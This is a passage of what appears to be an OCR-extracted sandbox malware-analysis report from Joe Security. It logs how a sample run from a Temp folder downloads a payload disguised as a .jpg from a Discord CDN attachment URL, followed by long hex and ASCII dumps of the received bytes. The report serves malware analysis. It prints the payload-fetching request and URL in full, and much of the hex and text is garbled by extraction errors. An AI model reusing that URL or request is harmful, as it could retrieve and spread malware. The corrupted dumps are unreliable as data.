6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 6d 58 20 4f 20 71 20 4a 71 20 44 58 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f
20 71 71 58 20 4f 20 71 4f 71 20 4f 20
Data Ascii: J O qJp O WJ O DX O Wg O Wm O DM O WE O Wm O WD O mW O bM O Wq O WO O Wp O mW O mM O
mMMODEODMOmMWODDOEOODEOMMO mMWO mXOWDO mXOmXOWO ODDODMOmM O mX O Wq
OmMOWDOgIWOMIOmMXOmXOmXOmX O qJgDX O qggm O gOW O ggX O qOg O

2021-10-29 18:29:05 UTC 1245 IN Data Raw: 20 4a 20 4a 20 58 20 4a 20 4a 20 4a 20 71 70 20 4f 20 6d 20 71 45 20 71 4a 4d 20 4a 57 20 71 6d 20 71 6d 20
714520 71 4a 4d 20 4a 4d 20 71 45 20 71 4a 4d 20 70 70 20 44 20 4f 20 71 20 71 6d 20 71 45 20 71 4a 4d 20 70 45 20
44 20 4f 20 71 20 71 58 20 71 4a 58 20 71 70 45 20 71 6d 20 45 20 45 20 57 20 58 20 58 20 58 20 71 4f 20 4a 20 70 20 4f
20 4f 20 58 20 4a 45 20 45 20 71 70 20 58 20 58 20 58 20 71 58 20 71 4a 4d 20 6d 57 20 71 58 20 71 4a 4d 20 6d 4d 20
7158 20 71 4a 4d 20 57 70 20 71 58 20 71 4a 4d 20 57 45 20 4a 20 4a 20 71 58 20 71 4a 4d 20 57 70 20 71 58 20 71 4a
4d 20 57 45 20 4a 20 4a 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 6d 4d 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d
2057 70 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 57 45 20 6d 20
Data Ascii: JJXJJJgp O mqE qJM JW gm gm gE qJM IJM gqE qJM pp D O g gm qE qJM pE D O q gX gJX gpE gm E E
WXXXgOJpOOXJEEgpXXXgXgIJMmW gX gJM mM gX gJM Wp gX gJM WE J J gX gJM Wp gX gJM WE J J W
pJ O gX gJM mM W pJ O gX gJM Wp W pJ O gX gJM WE m
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Session ID Source IP

2 192.168.2.3
kBytes
Timestamp transferred

2021-10-29 18:29:09 UTC 1254

2021-10-29 18:29:09 UTC 1254

2021-10-29 18:29:09 UTC 1255

2021-10-29 18:29:09 UTC 1255

2021-10-29 18:29:09 UTC 1256

2021-10-29 18:29:09 UTC 1258

2021-10-29 18:29:09 UTC 1259

Copyright Joe Security LLC 2021

Source Port

49806

Direction

ouT

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B4BD.exe

Data

GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:09 GMT

Content-Type: image/jpeg

Content-Length: 406075

Connection: close

CF-Ray: 6a5e77bc5e116955-FRA

Accept-Ranges: bytes

Age: 1940

Cache-Control: public, max-age=31536000

ETag: "4be3e6f4d4f4aalll6f6c74f532cbeb7”

Expires: Sat, 29 Oct 2022 18:29:09 GMT

Last-Modified: Fri, 29 Oct 2021 17:49:11 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635529751768404

x-goog-hash: crc32c=bHQJIMA==

x-goog-hash: md5=S+Pm9NTOghEW9sdPUyy+tw==

X-g00g-metageneration: 1

x-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 406075

X-GUploader-UploadID: ADPycdtQMHGYEhnppJ8P837WdZk3TFi4GDGEG6cytjZ9NP8ck3B0QplKsdro4zTxd-YyG
cioOy6QRjSQ8JvbrhdjikmE

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\/a.nel.cloudflare.com\/report\/v3?s=EDoH08zuJvS3uhg9h%2B%2BFemvReV%2
FhA%2Fy861Dn0P6gWQYVQNLU9XsBDV/rEOZtfOrPRvrep%2FYqgjpwjGn%2BRMahpER2is4YN7sqwybPohYgxUrHU%2
BCy7E%2FzEd8ylUceXwWJImO0kbtgg%3D%3D"}],"group™:“cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 43 4e 56 4c 72 59 63 4d 49 57 2d 4d 4d 20 57 43 20 4e 72 72 20 43 20 4c 20 43 20 43 20 43 20 72 20 43 20
43 20 43 20 56 59 59 20 56 59 59 20 43 20 43 20 4e 49 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 63 72 20 43 20
43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43
2043 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 4e 56 49 20 43 20 43 20 43 20
4e 72 20 4c 4e 20 4e 49 63 20 4e 72 20 43 20 4e 49 43 20 57 20 56 43 59 20 4c 4c 20 4e 49 72 20 4e 20 4d 63 20 56 43
59 20 4c 4¢ 20 49 72 20 4e 43 72 20 4e 43 59 20 4e 4e 59 20 4c 56 20 4e 4e 56 20 4e 4e 72 20 4e 4e 4e 20 4e 43 4¢ 20
4e 4e 72 20 57 4d 20 4e 43 57 20 4c 56 20 57 57 20 57 4d 20 4e 4e 43 20 4e

Data Ascii: CNVLI'YcMIW-MMWCNirCLCCCrCCCVYYVYYCCNrcCCCCCCcerCcCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCNVICCCNrLNNIcNrCNICWVCY LLNIrNMcVCY LL Ir NCr
NCY NNY LV NNV NNr NNN NCL NNr WM NCW LV WW WM NNC N

Data Raw: 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43
20 4320 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20
43 20 43 20 56 59 20 72 43 20 56 56 57 20 4e 43 57 20 4e 4e 59 20 59 43 20 72 49 20 59 43 20 59 43 20 49 72 20 4e 4e
72 20 4e 4e 4d 20 4e 72 63 20 4e 72 4c 20 59 43 20 72 49 20 4e 4c¢ 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e
43 57 20 4e 4e 56 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20
59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43
2059 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43

Data Asci: CCCCCCCCCCCCCCCcCcccccececcceccceccecececccccecccccceVyrrC VWWNCW NNY
YC rl YC YC Ir NNr NNM Nrc NrL YC rl NLI'Yr Ir NNr NNM NCW NNV YC NNV YC Yr Ir NNr NNM NCW NNV YC rl YC

Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC

Data Raw: 20 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 59 63 20 4e 49 4c 20 59 59 20 49 72 20 4e 4e 72 20 49 59 20
4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 72 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56
2059 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e
49 20 59 72 20 49 72 20 4e 49 20 57 4e 20 4c 4e 20 4c 20 63 72 20 49 4c¢ 20 59 43 20 59 72 20 49 72 20 4e 4d 49 20 4e
4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 43 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20
4e 4e 56 20 4e 57 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20
72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 59 4c 20 4e 43 57 20 4e 4e

Data Ascii: N NCW NNV YC NYc NIL YY Ir NNr IY NCW NNV YC NIr YN Yr Ir NNI NNM NCW NNV YC rl YC Yr Ir NNr
NNM NCW NNV YC rl NI'Yr Ir NEWN LN L cr IL YC Yr Ir NMI NNINCW NNV YC VrC YN Yr Ir NNI NNM NCW NNV NWC
W YC YrIr NNr NNM NCW NNV YC rl YC Yr Ir NNr YL NCW NN

Data Raw: 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56
2059 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59
432059 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20
4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20
4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20
59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43
2059 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43

Data Ascii: NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW
NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl Y
C YrIr NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC
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kBytes
Timestamp transferred

2021-10-29 18:29:09 UTC 1260

2021-10-29 18:29:09 UTC 1262

2021-10-29 18:29:09 UTC 1263

2021-10-29 18:29:09 UTC 1264

2021-10-29 18:29:09 UTC 1266

2021-10-29 18:29:09 UTC 1267

2021-10-29 18:29:09 UTC 1268

2021-10-29 18:29:09 UTC 1270
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Direction

IN

Data

Data Raw: 20 4e 4e 56 20 59 63 20 4c 57 20 4c 4d 20 72 4d 20 56 4e 4d 20 72 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20
56 4c 20 4c 49 20 63 72 20 59 59 20 49 72 20 4e 4e 72 20 59 20 4c 4e 20 72 4e 20 59 43 20 72 49 20 63 63 20 4d 56 20
4d 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4¢c 20 49 49 20 72 59 20 72 49 20 59 43 20 63 43 20 56 72 63 20 49 4d 20 57 49
20 4c 4e 20 4e 20 59 43 20 72 49 20 63 63 20 63 49 20 56 59 4e 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20
72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 56 20
63 49 20 4e 72 4d 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 56 20 59 4c 20 72 57 20 59 43 20 4d 43 20 72 56 20 4e 43 49 20
4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 72 4d 20 59 43 20 59 72 20

Data Ascii: NNV Yc LW LM rM VNM rV NNM NCW NNL VL LI cr YY Ir NNr Y LN rN YC rl cc MV Mr NNr NNM NCL II rY rl
YC cC Vrc IMWILN N YC rl cc cl VYN NNr NNM VW Nr rr rl YC ¢cC NVr NCW NNM NCW NVV Nrr VN rV cl NrM NNr
NNM VW V YL rW YC MC rV NCI NNM NCW NVV Vc rM YC Yr

Data Raw: 56 43 4c 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4e 4e 72 20 59 43 20 72 49 20 56 59 20 49 57 20 4e 4e
56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 59 20 4c 4c 20 59 72 20 56 43 43 20 49 56 20 4e 63 72 20 4e 4e
63 20 4e 43 57 20 4e 4e 49 20 63 59 20 4c 43 20 59 43 20 59 72 20 57 72 20 4e 56 20 4e 4c 57 20 4e 43 57 20 4e 4e 56
2059 72 20 56 4e 20 4c 4e 20 4c 4c 20 4e 4e 72 20 4e 56 20 4e 72 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 43 63 20 5
9 56 20 56 4c 59 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 57 59 20 59 43 20 72 49 20 59 63 20 4e 57 20 56 4e 56 20
4e 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 59 4e 20 59 43 20 59 72 20 4e 56 4d 20 56 57 20 57 59 20 4e
43 49 20 4e 4e 56 20 59 56 20 4c 4c¢ 20 59 59 20 4c¢ 57 20 49 43 20 4e

Data Ascii: VCL Ir NNr NNL cW NNr YC rl VY IW NNV NNY NNM NCM WM YY LL Yr VCC IV Ncr NNc NCW NNI cY LC
YC Yr Wr NV NLW NCW NNV Yr VN LN LL NNr NV NrV NCW NNV Yr VCc YV VLY IY NNr NNY LC WY YC rl Yc NW
VNV NrC NNM NCW NNc Vc YN YC Yr NVM VW WY NCINNV YV LL YY LW IC N

Data Raw: 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 57 43 20 4d 63 20 4e 43 57 20 4e 4e 56 20 59
63 2059 57 20 59 4c 20 4c 43 20 4e 4e 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4c 20 59 4¢ 20 59 72 20 63 4c 20
56 4c 59 20 4e 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 59 63 20 59 43 20 59 72 20 49 56 20
4e 56 63 20 4e 4e 72 20 4c 43 20 56 4e 57 20 59 43 20 72 49 20 59 56 20 4c 4d 20 49 43 20 57 57 20 4e 4e 4c 20 4e 4e
4c 20 56 59 4c¢ 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 56 56 56 20 4e 43 57 20 4e 4e 56 20
5972 2056 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 4c 59
2049 72 20 4e 4e 72 20 4e 4e 59 20 4d 59 20 4e 43 56 20 4c 4c 20 59 4c 20

Data Ascii: W NVV cY | YC Yr Wr WC Mc NCW NNV Yc YW YL LC NNC NNr NNM NCL WL YL Yr cL VLY NVM NNY NN
M NCW NNr Ve Yc YC Yr IV NVe NNr LC VNW YC rl YV LM IC WW NNL NNL VYL NCr rl YC YY NNL NcV VVV NCW N
NV YrVrY Yrir NVC ¢ IY NNV YC YI WL NLY Ir NNr NNY MY NCV LL YL

Data Raw: 43 20 72 49 20 59 56 20 59 72 20 49 72 20 4e 4e 72 20 4c 49 20 4e 43 49 20 4e 4e 56 20 59 43 20 4e 43 59 20
59 4e 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 4d 57
20 63 63 20 4e 4e 59 20 4e 43 57 20 59 56 20 72 49 20 72 49 20 59 43 20 59 4c¢ 20 49 72 20 4e 4e 72 20 4e 43 43 20 4c
4320 4d 57 20 59 43 20 72 49 20 59 63 20 63 43 20 49 63 20 4e 4e 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72
57 20 56 4c 20 56 4c 43 20 4e 72 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20
4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 57 20 59 43 20 59 72 20 57 72 20 4e 56 4e 20 4e 4e 72
20 63 57 20 4d 72 20 59 43 20 72 49 20 59 63 20 56 4d 20 49 4c 20 4e 4e

Data Ascii: C rl YV Yr Ir NNr LI NCI NNV YC NCY YN Yr Ir NNL NNM NCW NNV cN rl YC YY MW cc NNY NCW YV rl rl
YC YL Ir NNr NCC LC MW YC rl Yc ¢C Ic NNN Vrl YY NNV YC rW VL VLC NrC NNr NNM NCY I1'Y rl YC ¢C LW Mr NNM
NCW NVV Ve W YC Yr Wr NVN NNr cW Mr YC rl Yc VM IL NN

Data Raw: 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 56 4e 72 20 59 43 20 59 72 20 49 43 20 57 43

20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e
4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 4d 56 20 59 4e 20 72 49 20 59 56 2
0 4c 57 20 49 4c 20 57 57 20 4e 4e 4c 20 4e 56 72 20 4e 4e 4d 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e
4e 72 20 4e 4e 63 20 4d 56 20 4e 63 43 20 4e 59 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e
4357 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 56 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20
59 63 20 56 63 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 20 4d 72

Data Ascii: NNr NNM NCI 1Y VVe VNr YC Yr IC WC cc NCW NNV Yc ¢cM NC Yr Ir NVC Ve NWL NNV YC Yr WL NL Ir

NNr NVM V MV YN rl YV LW IL WW NNL NVr NNM rY cL NWN NCI Ir NNr NNc MV NcC NYY rl YC YC NVr cW NNM
NCW NVV cY | YC Yr Wr VW VNM NCW NNV YV Yc Vc rl Ir NNr NNY V Mr

Data Raw: 4e 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 4c 56 20 59 43 20 59
72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56
63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e
57 20 4c 59 20 59 59 20 72 4c 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 59
57 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 2059 72 20 49 72
20 4e 56 43 20 56 63 20 72 59 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 72 4e 20 63 57 20 4e 4e 4d 20 4e 43 49 20 56
56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 72

Data Ascii: N NIM Nr NNr NNM NCI 1Y VVe NLV YC Yr IC WC cc NCW NNV Yc ¢cM NC Yr Ir NVC Ve NWL NNV YC Yr WL
NL Ir NNr NVM NVe NNW LY YY rL NIM Nr NNr NNM NCI 1Y VVe NYW YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC
Ve rY NNV YC YILN rN ¢cW NNM NCI VVr rV YC rl YN NW NLV Nr

Data Raw: 59 20 4e 72 20 63 57 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 43 20 4c 4¢ 20 59 72 20 4¢ 59 20 59 43 20
63 57 20 4e 4e 57 20 4e 43 63 20 4e 56 43 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56
20 4e 59 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56
2059 43 20 59 49 20 57 4c 20 4e 59 72 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4e 20 49 49 20 59 56 20 72 49 20 59
43 20 72 49 20 4c 49 20 4e 20 4e 4e 57 20 4e 43 57 20 43 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 56 57 20 4e
43 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4c¢ 20 63 57 20 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57
57 20 59 49 20 4c 4c¢ 20 59 49 20 4c 57 20 49 43 20 57 57 20 4e 4e 56 20

Data Ascii: Y Nr cW NNY NNM NCW NCC LL Yr LY YC cW NNW NCc NVC VYL NCr rl YC YY NNL NcV NYM NCW NNV
YrvrY Yrir NVC cIY NNV YC YI WL NYr Ir NNr NNY NCN 1YV rl YC rl LIN NNW NCW C Mc rc YC Yr Wr VW NCc
NCW NNV Yc LY YL cW Nc NNY NNM NCM WW YI LL YI LW IC WW NNV

Data Raw: 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 72 20 63 20 4e 20 72 56 20 72 49 20 4c 4c 20 59 57 20 49 59 20
4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 59 20 4e 20 4e 20 59 4d 20 49 4d 20 57 43 20 63 56 20 4e 43 57 20 4e 4e 56 20
59 63 20 59 43 20 56 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4c 20 57 4e 20 63 43 20 59 43 20 4c 63 20
4c 72 20 4e 56 72 20 49 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 57 4c¢ 20 4e 4e 20 59 43 20 59 72 20 57 72 20 4e 56
43 20 4e 4d 4e 20 4e 4e 43 20 49 63 20 56 4c¢ 63 20 72 49 20 59 56 20 56 49 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57
20 4e 4e 56 20 59 43 20 59 72 20 59 43 20 4c 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 49 20 57 49 20 4e 4e 56 20 59 43 20 72
57 20 4c 4c 20 63 20 49 63 20 4e 4e 72 20 49 56 20 4e 43 57 20 4e 4e 56

Data Ascii: M Ir NNr NVM NNr ¢ N rV rl LL YW IY NNM NCW NVV rY N N YM IM WC cV NCW NNV Yc YC Vc rC Ir NNr
NNY NCL WN ¢C YC Lc Lr NVr Ir NNM NCW NNI'WL NN YC Yr Wr NVC NMN NNC Ic VLc rl YV VI IY WI NNM NCW
NNV YC Yr YC L NNN NNr NNI' WI NNV YC rW LL ¢ Ic NNr IV NCW NNV
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kBytes
Timestamp transferred

2021-10-29 18:29:09 UTC 1271

2021-10-29 18:29:09 UTC 1272

2021-10-29 18:29:09 UTC 1274

2021-10-29 18:29:09 UTC 1275

2021-10-29 18:29:09 UTC 1276

2021-10-29 18:29:09 UTC 1278

2021-10-29 18:29:09 UTC 1279

2021-10-29 18:29:09 UTC 1280

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 57 4c 20 4e 43 4e 20 4e 4e 56 20 59 43 20 56 4d 20 57 4c 20 56 72 49 20 49 59 20 4e 4e 72 20 4e 4e 59 20
56 20 4e 63 4e 20 59 4e 20 72 49 20 59 56 20 63 43 20 4e 4c 49 20 4e 4e 4c 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 56 4c
63 20 59 4e 20 56 43 20 56 4c¢ 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 4c 20 63 20
59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4d 20 72 57 20 59 43 20 59 72 20 4d 63 20 4e 4e
72 20 4e 4e 4d 20 4e 43 57 20 49 4c 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20
4e 4e 56 20 59 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72
72 20 59 4e 20 59 72 20 49 72 20 57 43 20 4e 4e 63 20 4e 43 57 20 4e 4e

Data Ascii: WL NCN NNV YC VM WL Vrl 1Y NNr NNY V NcN YN rl YV ¢C NLI NNL IL NMW NNV VLc YN VC VLV Ir NNc
WY NCW NNV YC NNL ¢ Yr Ir NNr NNM NCW NNV YM rW YC Yr Mc NNr NNM NCW IL YN rl YC YL Ir NNr NNM WI
NNV YC rW YC Yr Ir NNr NVN NCW NNV YC rr YN Yr Ir WC NNc NCW NN

Data Raw: 43 20 4e 56 63 20 72 43 20 4e 4e 72 20 57 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72
20 4956 20 4e 4e 72 20 56 72 57 20 56 59 59 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20
63 57 20 4e 43 59 20 4e 4e 56 20 4e 4e 72 20 72 57 20 59 43 20 59 72 20 57 59 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20
4c 20 4e 56 4e 20 72 57 20 59 43 20 72 49 20 57 72 20 4e 4e 56 20 56 63 20 59 56 20 4e 4e 56 20 59 43 20 59 49 20 57
4c 20 4e 43 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 56 20 4d 56 20 4e 72 59 20 72 49 20 59 43 20 59 72 20 49 4c
20 56 57 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 56 4e 20
4e 43 4e 20 4c 4e 20 4e 4e 43 20 72 49 20 59 43 20 63 43 20 4¢ 49 20 56 72

Data Ascii: C NVc rC NNr WM NCW NNV YC rl YC Yr IV NNr VIW VYY NNV rW Y1 YC Yr IY NCY cW NCY NNV NNr rw
YC Yr WY NNr NNM NVr L NVN rW YC rl Wr NNV Ve YV NNV YC YI WL NCW Ir NNr NVM NCV MV NrY rl YC Yr IL VW
NVV NCW NNV Yc ¢l LM YrIr NNY NVN NCN LN NNC rl YC cC LI Vr

Data Raw: 72 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 4c 59 20 63 4d 20 72 4c 20 59 72 20 49 72 20 4e 56 43 20 4e 56 4d
20 4e 4e 4e 20 4e 72 20 72 49 20 72 57 20 59 43 20 59 43 20 4e 4e 4c 20 57 59 20 57 49 20 4d 59 20 4e 72 20 59 4e 20
72 57 20 59 43 20 59 43 20 4e 4d 43 20 4e 4e 63 20 4e 59 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 63 4d 20 72 43 20 59
72 20 49 72 20 4e 56 43 20 49 43 20 56 4c 4d 20 4e 4e 72 20 59 4e 20 72 49 20 59 72 20 4c 43 20 49 59 20 4e 4e 72 20
4e 4e 4d 20 4d 43 20 4c 4e 20 72 63 20 72 49 20 59 43 20 63 43 20 57 59 20 4d 72 20 63 72 20 4e 43 49 20 4e 4e 56 20
59 43 20 59 59 20 57 4c 20 72 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 57 4d 20 4e 56 43 20 72 56 20 4c 57 20 4c 4d 20
4e 49 4d 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 4c 63

Data Ascii: r NVN NCW NNV LY cM rL Yr Ir NVC NVM NNN Nr rl rW YC YC NNL WY WI MY Nr YN rW YC YC NMC NNc
NYN NCI NNV YV cM rC Yr Ir NVC IC VLM NNr YN rl Yr LC IY NNr NNM MC LN rc rl YC cC WY Mr cr NCINNV YC YY
WL rL Ir NNr NVM WM NVC rV LW LM NIM NV NNr NNM NCI 1Y Lc

Data Raw: 20 72 49 20 59 43 20 59 72 20 4e 4c 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 72 43 20 59 4e 20 72 49 20 59
4320 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20
4e 4e 72 20 4d 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 4d 20 59 4e 20 59 72 20 49 72 20 56 63 20 4e 4e 63 20 4e 43
